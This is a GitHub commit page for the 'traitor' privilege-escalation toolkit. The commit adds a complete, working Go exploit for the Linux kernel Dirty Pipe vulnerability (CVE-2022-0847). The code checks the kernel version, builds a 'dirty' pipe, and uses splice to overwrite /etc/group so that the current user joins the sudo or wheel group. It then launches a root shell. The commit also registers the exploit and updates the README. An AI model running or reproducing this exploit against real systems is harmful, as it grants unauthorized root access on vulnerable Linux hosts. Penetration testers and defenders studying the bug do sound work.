Skip to content

Commit

Permalink
feat: Added exploit for dirty pipe (CVE-2022-0847) (#74)
Browse files Browse the repository at this point in the history
  • Loading branch information
liamg committed Mar 8, 2022
1 parent 7eb604e commit 83e3cc9
Show file tree
Hide file tree
Showing 5 changed files with 274 additions and 1 deletion.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ Traitor packages up a bunch of methods to exploit local misconfigurations and vu

![Demo](demo.gif)

It'll exploit most sudo privileges listed in GTFOBins to pop a root shell, as well as exploiting issues like a writable `docker.sock`, or the recent polkit CVE-2021-4034. More routes to root will be added over time too.
It'll exploit most sudo privileges listed in GTFOBins to pop a root shell, as well as exploiting issues like a writable `docker.sock`, or the recent dirty pipe (CVE-2022-0847). More routes to root will be added over time too.

## Usage

Expand Down
5 changes: 5 additions & 0 deletions pkg/exploits/all.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ package exploits
import (
"github.com/liamg/traitor/pkg/exploits/cve20213560"
"github.com/liamg/traitor/pkg/exploits/cve20214034"
"github.com/liamg/traitor/pkg/exploits/cve20220847"
"github.com/liamg/traitor/pkg/exploits/dockersock"
)

Expand All @@ -17,3 +18,7 @@ func init() {
func init() {
register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New())
}

func init() {
register("kernel:CVE-2022-0847", SpeedFast, cve20220847.New())
}
253 changes: 253 additions & 0 deletions pkg/exploits/cve20220847/exploit.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,253 @@
package cve20220847

import (
"context"
"errors"
"fmt"
"os"
"os/exec"
"os/user"
"regexp"
"strconv"
"strings"
"syscall"

"github.com/liamg/traitor/pkg/logger"
"github.com/liamg/traitor/pkg/payloads"
"github.com/liamg/traitor/pkg/state"
"golang.org/x/sys/unix"
)

// see: https://dirtypipe.cm4all.com/
type cve20220847Exploit struct {
pageSize int64
log logger.Logger
}

func New() *cve20220847Exploit {
exp := &cve20220847Exploit{
pageSize: 4096,
}
return exp
}

func (v *cve20220847Exploit) IsVulnerable(ctx context.Context, s *state.State, log logger.Logger) bool {

r := regexp.MustCompile(`[0-9]+\.[0-9]+(\.[0-9]+)*`)
ver := r.FindString(s.KernelVersion)

var segments []int
for _, str := range strings.Split(ver, ".") {
n, err := strconv.Atoi(str)
if err != nil {
return false
}
segments = append(segments, n)
}

var major int
var minor int
var patch int

if len(segments) < 3 {
return false
}

major = segments[0]
minor = segments[1]
patch = segments[2]

// affects Linux Kernel 5.8 and later versions, and has been fixed in Linux 5.16.11, 5.15.25 and 5.10.102
switch {
case major == 5 && minor < 8:
return false
case major > 5:
return false
case minor > 16:
return false
case minor == 16 && patch >= 11:
return false
case minor == 15 && patch >= 25:
return false
case minor == 10 && patch >= 102:
return false
}

log.Printf("Kernel version %s is vulnerable!", ver)
return true
}

func (v *cve20220847Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
return v.Exploit(ctx, s, log, payloads.Default)
}

func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {

v.log = log

log.Printf("Attempting to add user to sudoers via common groups...")
u, err := user.Current()
if err != nil {
return err
}

groupData, err := os.ReadFile("/etc/group")
if err != nil {
return err
}
backup := string(groupData)
maxSize := 4096 - (len(u.Username) + 1)
if len(groupData) > maxSize {
groupData = groupData[:maxSize]
}

var injected []string
var found bool
for _, line := range strings.Split(string(groupData), "\n") {
if !found {
parts := strings.Split(line, ":")
switch parts[0] {
case "sudo", "wheel":
log.Printf("Found group: '%s'", parts[0])
found = true
if parts[3] != "" {
users := strings.Split(parts[3], ",")
var canAdd bool
for _, existing := range users {
if existing == u.Username {
log.Printf("NOTE: Your user is already in the %s group - you can likely sudo already...", parts[0])
canAdd = false

}
}
if !canAdd {
injected = append(injected, line)
continue
}
line += ","
}
line += u.Username
}
}
injected = append(injected, line)
}
if !found {
_ = found
//return fmt.Errorf("could not find sudo or wheel group")
}
newData := []byte(strings.Join(injected, "\n") + "\n")

if err := v.writeToFile("/etc/group", 1, newData[1:]); err != nil {
return fmt.Errorf("failed to overwrite target file: %w", err)
}

defer func() {
log.Printf("Restoring contents of /etc/group...")
_ = v.writeToFile("/etc/group", 1, []byte(backup)[1:])
}()

log.Printf("Starting shell (you may need to enter your password)...")
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/group is restored.")
cmd := exec.Cmd{
Path: "/bin/sh",
Args: []string{"/bin/sh", "-c", "sudo", "/bin/sh"},
Env: os.Environ(),
Dir: "/",
Stdin: os.Stdin,
Stdout: os.Stdout,
Stderr: os.Stderr,
}
if payload != "" {
cmd.Args = append(cmd.Args, "-c", string(payload))
}
return cmd.Run()
}

func (v *cve20220847Exploit) writeToFile(path string, offset int64, data []byte) error {

if offset%v.pageSize == 0 {
return errors.New("cannot write to an offset aligned with a page boundary")
}

v.log.Printf("Opening '%s' for read...", path)
target, err := os.Open(path)
if err != nil {
return fmt.Errorf("failed to read target file: %w", err)
}

r, w, err := v.dirtyThatPipe()
if err != nil {
return fmt.Errorf("failed to create dirty pipe: %w", err)
}
defer func() {
_ = r.Close()
_ = w.Close()
}()

v.log.Printf("Splicing data...")
offset--
spliced, err := syscall.Splice(int(target.Fd()), &offset, int(w.Fd()), nil, 1, 0)
if err != nil {
return fmt.Errorf("splice error: %w", err)
}
if spliced <= 0 {
return fmt.Errorf("splice failed (%d)", spliced)
}

v.log.Printf("Writing to dirty pipe...")
if n, err := w.Write(data); err != nil {
return fmt.Errorf("write failed: %w", err)
} else if n < len(data) {
return fmt.Errorf("write partially failed - %d bytes written", n)
}

v.log.Printf("Write of '%s' successful!", path)
return nil
}

func (v *cve20220847Exploit) dirtyThatPipe() (r *os.File, w *os.File, err error) {

v.log.Printf("Creating pipe...")
r, w, err = os.Pipe()
if err != nil {
return nil, nil, fmt.Errorf("create failed: %w", err)
}

v.log.Printf("Determining pipe size...")
size, err := unix.FcntlInt(w.Fd(), syscall.F_GETPIPE_SZ, -1)
if err != nil {
return nil, nil, fmt.Errorf("fcntl error: %w", err)
}
v.log.Printf("Pipe size is %d.", size)

v.log.Printf("Filling pipe...")
written := 0
for written < size {
writeSize := size - written
if int64(writeSize) > v.pageSize {
writeSize = int(v.pageSize)
}
n, err := w.Write(make([]byte, writeSize))
if err != nil {
return nil, nil, fmt.Errorf("pipe write failed: %w", err)
}
written += n
}

v.log.Printf("Draining pipe...")
read := 0
for read < size {
readSize := size - read
if int64(readSize) > v.pageSize {
readSize = int(v.pageSize)
}
n, err := r.Read(make([]byte, readSize))
if err != nil {
return nil, nil, fmt.Errorf("pipe read failed: %w", err)
}
read += n
}

v.log.Printf("Pipe drained.")
return r, w, nil
}
12 changes: 12 additions & 0 deletions pkg/state/kernel.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
package state

import "os"

func kernelVersion() string {
b, err := os.ReadFile("/proc/sys/kernel/osrelease")
if err != nil {
return ""
}
return string(b)

}
3 changes: 3 additions & 0 deletions pkg/state/state.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@ type State struct {
Hostname string
DistroID DistributionID
DistroVersion string
KernelVersion string
}

func New() *State {
Expand All @@ -22,6 +23,8 @@ func (s *State) Assess() {

s.processDistro()

s.KernelVersion = kernelVersion()

// check existing backdoors
// list users
// list current user + groups
Expand Down

0 comments on commit 83e3cc9

Please sign in to comment.